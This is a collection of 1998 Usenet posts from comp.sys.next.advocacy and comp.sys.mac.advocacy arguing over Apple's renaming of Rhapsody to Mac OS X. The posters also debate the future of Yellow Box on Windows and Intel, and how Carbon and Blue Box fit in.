Date: 13 May 1998 19:20:52 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ljskk.p80.sal@panix3.panix.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk>
On 13 May 1998 16:30:08 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>In <6jboq5$eua$9@news.idiom.com> John C. Randolph wrote:
>> Well, Adobe didn't play ball. That's pretty irritating, to say the least.
>> Suggested workaround: A bundle of the NeXT apps, like Mail.app and
>TextEdit,
>> and all the stuff from /Nextdeveloper/demos, for $25.
>Or maybe a bundle of other commercial YB apps...
Maybe Mesa, WriteUp and Create! could be bundled together for $350 or so? Or
you could get the CD (and the YB run times) for $25 and buy keys from the
developers on a per app basis?
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
Message-ID: <3559F5A0.E8E7FB3D@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk>
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Date: Wed, 13 May 1998 19:30:27 GMT
NNTP-Posting-Date: Wed, 13 May 1998 15:30:27 EDT
mmalcolm crawford wrote:
> >
> Oddly there are two answers to this:
>
> a) The main BS vendor round here seems to be one Jonathan Harker, poster sans
> clue extraordinare.
Evenly, that's an odd supposition....
>
> alternatively
>
> b) Yes, you're absolutely right. Jobs (with his team) has found a way to
> pull the wool over people's eyes so Apple can serve up Rhapsody so that it is
> palatable to the traditional Mac users and developers so they feel like first
> class citizens again, rather than facing life in a "compatibility
> environment".
>
...Yes, 18 months late.
That's precisely what I think this is--yet another PR ploy from the
neo-Apple. They know full well that a mainstream Rhapsody is going to
take another 18 months to become palatable to most prospective
customers, so rather than announce a "We're late" apology, Jobs comes up
with a way to "fool" people and rolls Rhapsody over into "Mac OS 10" for
Q3 1999. How many will be fooled? That remains to be seen, I think.
BTW, there never was a "compatibility environment" that worked to any
satisfactory degree. Blue box, while certainly a great idea on paper and
enough to allow Jobs to squiggle into his present position, has always
been little more than fool's gold. That's precisely why "Mac OS 10"
slated for Q3 1999 does away with it. What could be more transparent? As
many have said, Mac OS 10 is merely Rhapsody very late and without the
blue box or need to explain why there's no blue box. And just like with
Blue Box, it looks great on paper and Q3 1999 is a long, long way off.
Message-ID: <3559F5D4.96E43F72@unet.univie.ac.at>
Date: Wed, 13 May 1998 21:34:45 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com>
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I don't think it a good idea to bundle the YB-runtimes with the application, as
you would purchase it every time when buying software from a different developer.
Much better to sell it seperately and develop the apps around it with a mark
"Requires YB for Win/Mac etc"
Market it as a plug-in.
Perhaps with a centralized licensing scheme.
Christian Benesch.
Salvatore Denaro wrote:
> On 13 May 1998 16:30:08 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> >In <6jboq5$eua$9@news.idiom.com> John C. Randolph wrote:
> >> Well, Adobe didn't play ball. That's pretty irritating, to say the least.
> >> Suggested workaround: A bundle of the NeXT apps, like Mail.app and
> >TextEdit,
> >> and all the stuff from /Nextdeveloper/demos, for $25.
>
> >Or maybe a bundle of other commercial YB apps...
>
> Maybe Mesa, WriteUp and Create! could be bundled together for $350 or so? Or
> you could get the CD (and the YB run times) for $25 and buy keys from the
> developers on a per app basis?
>
> --
> sal@panix.com Salvatore Denaro
> "The reality of the software business today is that if you find
> something that can make you ridiculously rich, then that's something
> that Microsoft is going to take away from you." -- Max Metral
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 15:37:51 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jcsqf$4jr$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <3559AAE5.820270F0@milestonerdl.com> <6jchjj$4bo$1@crib.bevc.blacksburg.va.us> <3559CB8F.85AF2358@milestonerdl.com>
In article <3559CB8F.85AF2358@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <3559AAE5.820270F0@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > And so far, no one can show a public statement committing to NT5/98.
> > What makes you think that Yellow Box won't work on them?
> Microsoft can't asure that old apps work on the new system. How would Apple do such?
Like I said, the OS dependency of Yellow Box is far more minimal that
you think, and the things it _does_ depend on are not things that are
really changing in NT5/98.
> > > That's not alot of future for cross-platform, is it?
> > You're being ridiculous. Apple isn't dropping their Intel OS, and they
> > haven't said anything at all of the sort.
> Nor have I seen anything that says Rhapsody for Intel has a future beyond the > merging of MacOS X.
> Have they stated in a press release that Rhapsody for Intel will keep
> going beyond Rhapsody for Mac - the product to be merged with MacOS X.
It's too obvious to bother stating, given that they said that they're
commiting to Intel in Rhapsody. If _Rhapsody_ exists past MacOS X,
then Rhapsody/Intel will. And from what I've read, Rhapsody will
continue to exist.
> > > > In fact, the only thing I've
> > > > heard about the cross-platform aspect is "we fully intend to support
> > > > Rhapsody on Intel".
> > > And they are... NT4/95.
> > Clue: "Rhapsody on Intel" is not "Yellow Box on Windows".
> And Clue: What is the path for Rhapsody for Intel?
They have said specifically that Rhapsody for Intel will continue
to exist. I'm sorry, that's all there is to it. When they said that,
they did not mean "NT4/95" they meant _Rhapsody for Intel_, and is is
disingenuous to claim otherwise.
> > I see no reason at all why it wouldn't work on NT 5 or 98.
> > Sure, it will probably require some testing/tweaking, but if they're
> > going to continue to ship Yellow for Windows (which they stated they
> > have), they have no reason not to spend a little time testing/tweaking
> > to keep current.
> If it will be THAT simple, then why not come out and say they will support NT
> 5.x/Win98. Use some weasel words to blame Microsoft if Microsoft doesn't play nice.
Look, if they're going to continue producing Yellow Box for Windows,
they're going to continue updating it. Say what you will about Apple,
but they're not _that_ stupid -- to continue producing something for
old versions of Windows that are not going to be produced anymore.
Any idiot can see that when they say they're going to produce Yellow
Box for Windows, they'll make it run on whatever Windows they have at
the time.
Apple engineers are simply not so incompetent that they can't produce
an upgrade to Yellow Box. But the most telling thing of all is Apple's
behavior since Steve Jobs took over. They killed _everything_ that
Jobs didn't think was absolutely essential to Apple's future. Apple is
not going to waste any time putting engineering, support, sales, and
marketing effort into a dead-end like a Yellow Box for Windows that will
never work on a new version of Windows. It's a waste of man-hours and
money that Apple cannot afford. If they're making the effort to continue
marketing YB for Windows, it's because Jobs thinks it is important to
the company -- probably to keep Mac developers aboard by giving them
a Windows sales channel. A Yellow Box that runs only on NT4/95 is not
going to help Mac developers much.
> > > Now, why develop for YellowBox if all it's gonna do is
> > > NT4/95 when Microsoft has NT5/98 in the pipe?
> > Because that's not all it's gonna do, and you're just being plain stupid.
> And you know this from what press release? What developers document?
And you know that NT4/95 is "all it's gonna do" from what press release?
What developers document?
Like I said: if they weren't planning on ever upgrading to a new version
of Windows, you can be sure that they'd be _very_ careful to talk about
Yellow Box on Windows NT or 95, only, when discussing the future of
Yellow Box.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Wed, 13 May 1998 13:43:57 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559E9ED.503B34F6@milestonerdl.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> On 13 May 1998 16:30:08 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> >In <6jboq5$eua$9@news.idiom.com> John C. Randolph wrote:
> >> Well, Adobe didn't play ball. That's pretty irritating, to say the least.
> >> Suggested workaround: A bundle of the NeXT apps, like Mail.app and
> >TextEdit,
> >> and all the stuff from /Nextdeveloper/demos, for $25.
>
> >Or maybe a bundle of other commercial YB apps...
>
> Maybe Mesa, WriteUp and Create! could be bundled together for $350 or so? Or
> you could get the CD (and the YB run times) for $25 and buy keys from the
> developers on a per app basis?
Or, a selection of older applications....non-current version of YellowBox
programs on a YellowBox runtime and other greatist hits CD-ROM.
This ignores the rumor of YellowBox bundled with 98/NT5.x
Message-ID: <3559F92A.E16514AF@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk>
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Date: Wed, 13 May 1998 19:45:30 GMT
NNTP-Posting-Date: Wed, 13 May 1998 15:45:30 EDT
Ralph Elliott wrote:
>
> (It was striking how Jobs went out of his way on more than one occasion on Monday
> morning to allude to the "ten months since I took over at Apple", thereby, it
> seems, implicitly dissociating himself from anything Apple said at the WWDC a year
> ago -- notwithstanding the fact that he himself made an appearance on Apple's
> behalf at that event.)
>
WHenever I see Jobs in action at his disinformation best I am constantly
amazed out how he stays out of prison...:) I don't know what's more
amazing--what Jobs says or the fact that anyone believes what he
says...:)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 15:51:13 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jctjh$4m2$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <35597B98.E031BF17@milestonerdl.com> <6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com>
In article <3559D285.C7FC88FA@milestonerdl.com>, mark@milestonerdl.com wrote:
> Can you give a compelling argument to future YellowBox support on Intel? One
> that has NT 5.x/win98 listed EXPLICITLY?
The argument is so mind-bogglingly obvious that it's stunning that
you can't see it. The whole POINT of Yellow Box on Windows is so that
Mac developers don't abandon the Mac market for the far-larger Windows
market -- since they can have _both_, stay on their favorite platform,
_and_ have a considerably superior API to develop with (compared to
Carbon _or_ what's available on Windows)!! If they can't sell their
apps on Windows (and it will get progressively harder to do that if only
NT4 and 95 are supported), then you're back to the same old choice --
abandon the Mac market or not? That choice will always be there; the
Mac market will always be smaller.
The gains Apple gets in retaining developers on the platform FAR outweigh
the MINIMAL requirements necessary to upgrade YB/Windows from NT4/95
to NT5/98. Without _developers_ producing competitive or superior apps
for the Mac, there is no compelling reason for _users_ to buy Macs or
remain on the platform.
Message-ID: <3559FA4D.CF4A4BF4@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu>
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Date: Wed, 13 May 1998 19:50:19 GMT
NNTP-Posting-Date: Wed, 13 May 1998 15:50:19 EDT
Pulsar wrote:
>
> The future of Rhapsody/Intel may not be all that secure, but I'm not sure
> it ever was. The future of Yellow Box on Windows is secure. In all
> likelyhood, both Rhapsody/Intel and YB for Windows will continue on well
> after the release of Mac OS X. They will not be affected by this release.
>
Most likely, Jobs signed away Rhapsody for Intel a long time ago when he
got into bed with Microsoft. He's done his due and paid lip service to
the concept, and that's about it.
Message-ID: <3559F9D8.2336B338@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com>
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Date: Wed, 13 May 1998 19:48:21 GMT
NNTP-Posting-Date: Wed, 13 May 1998 15:48:21 EDT
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Well, Apple is promising to deliver on this -- i.e., Carbon.
> What is everybody's problem ?
>
Two thoughts come to mind:
1) "Apple is promising"
and
2) 18 months
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 15:53:22 -0400
Organization: Data Systems Consulting, Inc.
Distribution: World
Message-ID: <6jctni$4mo$1@crib.bevc.blacksburg.va.us>
References: <8EF0321.09B600727F.uuout@relaynet.org>
In article <8EF0321.09B600727F.uuout@relaynet.org>, sheppard.gordon@relaynet.org (SHEPPARD GORDON) wrote:
> If Rhapsody is indeed considered to be a stepping-stone to MacOS X, and if
> Rhapsody/PPC will be phased out in favor of it,
It does not look like Rhapsody is being phased out in favor of MacOS X,
from what I've read.
> A low level of
> support is better than "no Intel offerings," but it does not appear at
> present that Apple is very interested in spending programming, management or
> monetary resources on Rhapsody/Intel.
There aren't any extra resources involved, except for driver development!
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 15:45:35 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jct8v$4ks$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <3559AAE5.820270F0@milestonerdl.com> <6jcjqp$1cc$23@ironhorse.plsys.co.uk> <3559D08E.CC749854@milestonerdl.com>
In article <3559D08E.CC749854@milestonerdl.com>, mark@milestonerdl.com wrote:
> mmalcolm crawford wrote:
> > In <3559AAE5.820270F0@milestonerdl.com> M Rassbach wrote:
> > (b) Why should YB not work on 98 / NT5?
> Again, Microsoft-centric applications have a history of breaking at the time > of a Microsoft OS upgrade.
Do you know _why_? Do you know that Yellow Box is independent of MOST
Windows APIs, including all of MFC?
> What is Apple's level of commitment? None, that I see.
None?? They wouldn't be shipping it if they weren't committed!
> > > And they are... NT4/95. Now, why develop for YellowBox if all it's gonna
> > > do is NT4/95 when Microsoft has NT5/98 in the pipe?
> > Because it's the API of the future for MacOS.
> > What part of that didn't you understand?
> Thank you for PROVING what I'm suspecting:
Proving??? Only in your insane delusional fantasies. Yellow Box is
a compelling environment with or without YB/Windows. But it's a lot
more compelling _with_, since although YB is the "API of the future of
MacOS", you need to keep the Mac developers _on_ MacOS, and expanding
their market is a really good way to do that.
> Tell everyone YellowBox is cross-platform
> Yank the Intel support and say 'but you can run under MacOS'
Why on EARTH would they do that?? I can see a case made for them yanking
Rhapsody/Intel someday (if it doesn't sell enough to be worth the support
costs; development costs are nil except for new drivers). But there
is _no_ reason for them to yank YB/Windows. Tell me, what advantage
would that be to Apple??? I assume you're arguing that all these Mac
developers will be doing all their Mac development on Wintel boxes,
which is ridiculous. Do you think that any Mac developer is going to
want to develop under Windows?? No, they'll do it on OS X or Rhapsody or
whatever the Mac development platform is. If you get rid of YB/Windows,
all you'll get is more Mac developers abandoning in droves -- with it,
they can sell into the Mac _and_ Windows markets; without it, they're
forced to make a choice, and we all know the reasons for choosing Windows.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 13 May 1998 15:58:25 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jcu11$4ng$1@crib.bevc.blacksburg.va.us>
References: <35598540.E4C37882@milestonerdl.com> <B17F1E17-221E3@206.165.43.172> <3559CE7F.7207302C@milestonerdl.com>
In article <3559CE7F.7207302C@milestonerdl.com>, mark@milestonerdl.com wrote:
> The only thing to debate is:
> Without sed/awk/grep/etc la, is it STILL Unix.
If it's got the kernel and associated setup (like /etc), then it's
Unix even if it doesn't ship with all the utils. (IMHO, of course.)
> Hence a query: Will the Unix hooks be there to add Unix (defined, say POSIX
> complient) if Apple doesn't ship it that way?
I'm guessing that you'll be able to get the full Unix as an option (maybe
as a separate product, though -- "MacOS X" without and "Rhapsody" with).
But even if they didn't offer that.. I guess it would mostly depend
on how similar their Unix is to other things, whether you could get a
compiler up, whether Apple would include the necessary headers, etc. to
graft some BSD stuff into it.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:04:53 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com>
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In article <3559E64B.A3A9AF2@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> >
> > Or perhaps, this was an attempt at the Worldwide Developers Conference not
> > to piss off Macintosh developers by pushing too heavily something that
> > would entirely obselete their software and force them to entirely rewrite
> > if they wanted to gain PMT/PM/VM and such.
>
> OK, how many "Mac OS developers" do you think will hang around until Q3
> '99 to get the stuff Jobs/Apple/Amelio promised would be available in
> the *general* Mac OS (which was code-named Rhapsody) in Q2 '98?
Why not wait until this fall to release a YB product?
Rhapsody 1.0 is due _this_ year. Mac OS X is due _next_ year. Mac OS X is
Rhapsopdy renamed and the Carbon APIs thown in. Mac OS X will be a more
polished Rhapsody in that it will pass as a mainstream replacement for the
current Mac OS. Rhapsody as it starts out will not. The Blue Box is too
blatant and Apple is still working out the UI issues for Rhapsody.
> Jobs has made it crystal clear that's not going to happen. The current
> Mac OS, without "PMT/PM/VM and such" is the "Crown Jewel" of Apple, not
> Rhapsody, according to Apple's Eternally Interim CEO, Jobs.
Well, duh. Do you seriously believe that Rhapsody was going to replace the
Mac OS immediately and completely? Most Mac OS developers don't want this
to be the case and a lot of Mac users don't want this to be the case.
Rhapsody will just not be a suitable replacement as it starts out. There
will be a significant market for it, but that market is _not_ all Mac
users. That will become possible as Mac OS and Rhapsody are merged later in
Mac OS X.
The Yellow Box will be present in Mac OS X. It will be the API to program
for if you are creating a new application. If you are going to rewrite your
app anyway, you may as well write it for the Yellow Box. For those who
already have invested a lot of time in the Mac OS APIs and don't want to
port to Yellow Box, there are the Carbon APIs as a way to help ease the
transition for users and provide them the useful core OS features that YB
apps and modified Mac OS apps can take advantage of.
Eventually, I expect that developers will all move to the Yellow Box just
as developers have been moving away from 68k to PPC apps on the Mac.
> > It sure looks like Rhapsody is dead. It sure looks like Rhapsody will flop
> > and the only thing that will save it is.... Rhapsody renamed as Mac OS X.
>
> Here's a tough question, then. If that's the simple case, why didn't
> Jobs just announce Rhapsody and do the *Rhapsody road map* instead? Why
> bring "Mac Os 10", to be released in almost TWO YEARS into the picture
> at all?
That way he didn't scare those faithful to the Mac OS away. There is a lot
of power in a name. With the focus on Mac OS X's backwards compatibility,
Apple assuaged fears that all the investment in the current Mac OS would be
lost.
> I guess it would make sense if you interpreted the thing to mean:
> "Rhapsody as a mainstream Apple OS is going to be a bit late--by about
> TWO YEARS. So we've decided a name change is necessary."
>
> Who's going to be hanging around by then?
Rhapsody will be released this fall. Rhapsody as a suitable mainstream OS
won't be available for a while yet. Anybody who seriously believed that
Rhapsody would serve as an immediate replacement was deluded. I would be
nice if Rhapsody could replace the Mac OS right now, but that just isn't
_possible_ given the technical and social climate for Apple, developers,
and users.
> > > If Jobs was as optimistic as you are about all of these interim, baby
> > > steps, why bother to announce "Mac OS 10" at this early stage, almost
> > > two years before its release? Nope--this is Apple's same old same old.
> >
> > Because he doesn't want to further alienate Mac developers who are already
> > leary of Apple due to past foolishness on its part?
>
> Now you're on a roll....:) You don't think "here it is--in Q3 1999!" has
> the slightest chance of "alienating Mac developers" some of whom have
> been working their tails off trying to get set up for Rhapsody in Q3
> 1998?
Not at all. Rhapsody will be available in Q3 '98. Those people will have an
OS to run their products on. I will very probably be buying a few of those
products. There will likely be a bigger market than there was for NeXT, but
it will not (initially) be as large as the current Mac OS. There is no
getting around that.
> Since Rhapsody won't be replacing the Mac OS anytime soon (whether
> you call it Mac OS 10 or whatever), you think this is reason for Mac
> developers to stand and cheer?
I never said it was a reason for developers to stand and cheer. I said that
it is a reason for developers not to panic and leave the platform entirely.
There is quite a difference.
> > Well, I think there is some small truth to what you say. The issue is that
> > Rhapsody 1.0 will not meet the expectations of the average consumer. As it
> > starts out it will probably not be suitable as a mainstream Mac OS
> > replacement. I will use it as soon as it comes out, but I doubt that the
> > majority of Mac users will. It is not that it will be buggy or slow or
> > anything like that (though that may be), the problem is that its interface
> > won't be polished enough, its hardware issues not entirely worked through,
> > and the Blue Box/Yellow Box difference will not be adequately transparent.
>
> Yep, that's it.
There _will_ be a Rhapsody 1.0 though. It is going to be released (by
Apple's claims) this year.
> Probably they were deluding themselves based on on what they believed
> Jobs and the NeXT team could accomplish. And of course, let's not forget
> the many public statements made officially by Apple which may have
> spawned those delusions.
I think few people really understood why Rhapsody was so compelling. Those
who already had a large investment in Mac OS code couldn't figure out why
they should go to the work to rewrite everything for the Yellow Box. Apple
is providing a solution. Those who believe Rhapsody to be compelling will
be satasfied by the release of Rhapsody and even more so when it moves into
the mainstream as Mac OS X.
> But delusional is a good word and and an apt description of what's been
> happening. The RDF crumbles at last. That can't be anything but positive
> for Apple.
Actually, the RDF was working full force. It was doing so quite succesfully.
> > So you explain why Carbon is there. You explain why Apple is going to the
> > trouble to have the YB+Carbon+BB in a single mainstream targetted OS. Is it
> > because Rhasody is dead? No, Mac OS X _is_ Rhapsody.
> >
> > Repeate after me:
> >
> > Mac OS X is Rhapsody renamed.
> > Mac OS X is Rhapsody renamed.
> > Mac OS X is Rhapsody renamed.
> > Mac OS X is Rhapsody renamed.
>
>
> Of course it is--when it *gets* here, in at least 18 months...:)
>
> Repeat after me:
>
> It's not here yet.
> It's not here yet.
Yes, but there will be Rhapsody in the mean time. When Mac OS X rolls
around, it will stand as a _replacement_ for the Mac OS, but will _look_
like a simple enhancement and extension of the Mac OS. Few people seemed to
catch on that Mac OS X is basically just Rhapsody. They were cought by all
the focus on backwards compatibility and the deliberate lack of focus on
the Yellow Box and such. As I've said before, Apple didn't announce the end
of Rhapsody, but actually announced the end of the Mac OS!
> > Mac OS X _is_ Rhapsody. They are _not_ different things. Mac OS X is just
> > Rhapsody renamed and extended for better backwards compatibility.
>
> But Mac OS 10 is at *least* 18 months out. Let's please not confuse
> projected goals with available products.
Right. That's why Rhapsody DR2 is available _now_ to developers and why
Rhapsody 1.0 will be available soon for everybody who wants it.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:07:20 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1305981507200001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com>
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In article <3559E9B3.5718F3D7@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> John C. Randolph wrote:
>
> >
> > That may be a nice way to describe it to the MacOS paranoid conservatives,
> > but the fact of the matter is that the kernal, filesystem, window
system, and
> > driver code all come from Rhapsody. That's not "rolling elements in",
that's
> > renaming an OS.
> >
> > MacOS X is the same OS they were calling Rhapsody two days ago, and that's a
> > Good Thing. The MacOS is way past its prime.
>
> Exactly. So, logically, since the "Mac OS" is undoubtedly "way past its
> prime" why *rename* "Rhapsody" to MAC OS 10?
Architecturally, the Mac OS is way past its prime. The name still holds a
lot of power. Mac OS X will look just like the Mac OS. Few people will
really notice or much care that the core has been ripped out and replaced
with Rhapsody. To users it will just be a better Mac OS and not something
entirely different *with a different name*.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody
Date: Wed, 13 May 98 16:21:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EF03D5.09B60072C1.uuout@relaynet.org>
On 05/13/98, MMALCOLM CRAWFORD wrote to spammers@ruin.the.internet.channelu.
com:
> I wonder why Apple whips up Carbon. Clearly it is to reach
> out to the slew of MacOS developers and to try to get them to clean
> up their code.
> But was there something wrong with the above bluebox
> solution.
Not in terms of emulation, from what I've heard.
MC> basically BlueBox relegated MacOS apps and MacOS
MC> developers to being second class citizens in a
MC> compatibility environment.
.. which most developers did not appear to mind, as long as the sole
alternative was the expense and learning-curve of rewriting to YellowBox.
I don't think that Apple cam up with Carbon because developers expressed any
concern about their apps being second-class citizens. (I didn't hear any of
any such uproar, but if there was, feel free to correct me.) They just didn't
seem interested in YellowBox -- until it became a popular and hence
profitable OS to devote resources to and to muck about in.
The problem seems not to be in the Bluebox solution, but in Apple's inability
to successfully sell Mac developers on Yellowbox. We saw this almost from the
beginning. But much to Apple's credit, especially to Steve Jobs's, Apple
recognized that most Mac developers (most importantly to Apple the big ones
selling popular cross-platform products) were not buying into YellowBox, and
Apple revised its plans to accomodate needs of Mac developers.
Yes, other factors may also have been involved: e.g. reducing consumer
expectations prior to a Rhapsody launch with a dearth of YellowBox offerings;
buying another year of time for OS development and software evangelism.
However, Apple should be congratulated for moving nimbly to better support
Mac developers.
To me, an unanswered question is whether by not creating Carbon/Intel, Apple
is effectively abandoning all Intel OS development, relegating its Intel
support to its post-Rhapsody API framework.
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:24:44 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com>
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In article <3559F5A0.E8E7FB3D@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> mmalcolm crawford wrote:
>
<snip>
> BTW, there never was a "compatibility environment" that worked to any
> satisfactory degree. Blue box, while certainly a great idea on paper and
> enough to allow Jobs to squiggle into his present position, has always
> been little more than fool's gold. That's precisely why "Mac OS 10"
> slated for Q3 1999 does away with it. What could be more transparent? As
> many have said, Mac OS 10 is merely Rhapsody very late and without the
> blue box or need to explain why there's no blue box. And just like with
> Blue Box, it looks great on paper and Q3 1999 is a long, long way off.
What you wrote really needs correction.
Mac OS X will include:
Mach kernel
Yellow Box
Blue Box
Carbon
_maybe_ Unix BSD
Rhapsody 1.0 will include:
Mach kernel
Yellow Box
Blue Box
Unix BSD
The only differences between the two are the names, the possible lack of
the Unix BSD layer in Mac OS X, and the presence of the Carbon APIs in Mac
OS X. Other than those, the two OSes are the same.
Rhapsody 1.0 will be available this year with all the features I listed for
it above. Mac OS X will be an updated Rhapsody with Carbon added in, and
perhaps BSD taken out.
Mac OS X is _not_ "merely Rhapsody very late and without the blue box". Mac
OS X is the same Rhapsody that we will get in a few months updated, added
to, and renamed so that it will serve as a replacement for what we now know
as the Mac OS while still being called the Mac OS.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: rkt1@cornell.eduz (Tapella)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Wed, 13 May 1998 16:46:45 -0400
Organization: Cornell U.
Sender: rkt1@cornell.edu (Verified)
Message-ID: <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at>
